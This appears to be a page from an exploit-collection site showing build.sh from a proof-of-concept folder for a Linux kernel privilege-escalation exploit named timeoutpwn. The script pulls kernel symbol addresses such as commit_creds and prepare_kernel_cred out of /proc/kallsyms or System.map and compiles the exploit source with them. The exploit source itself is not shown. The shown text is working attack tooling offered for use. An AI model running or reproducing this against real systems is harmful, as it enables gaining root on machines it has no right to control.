4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / build.sh SH
#!/bin/bash

symsfile=${1-/proc/kallsyms}

find_addr() {
    addr=$(awk -vsym=$1 '$NF == sym { print $1 }' < "$symsfile")
    if [ -z "$addr" ]; then
        echo "$1: address not found"
        exit 1
    fi

    if [[ $((0x$addr)) == 0 ]]; then
        echo "Invalid address, try grabbing System.map"
        exit 1
    fi

    CFLAGS="$CFLAGS -D${1^^}=0x${addr}LL"
}

# Note: newer kernels may miss this in /proc/kallsyms, try System.map instead
find_addr ptmx_fops

find_addr tty_release
find_addr commit_creds
find_addr prepare_kernel_cred

set -x
${CC-cc} timeoutpwn.c -o timeoutpwn $CFLAGS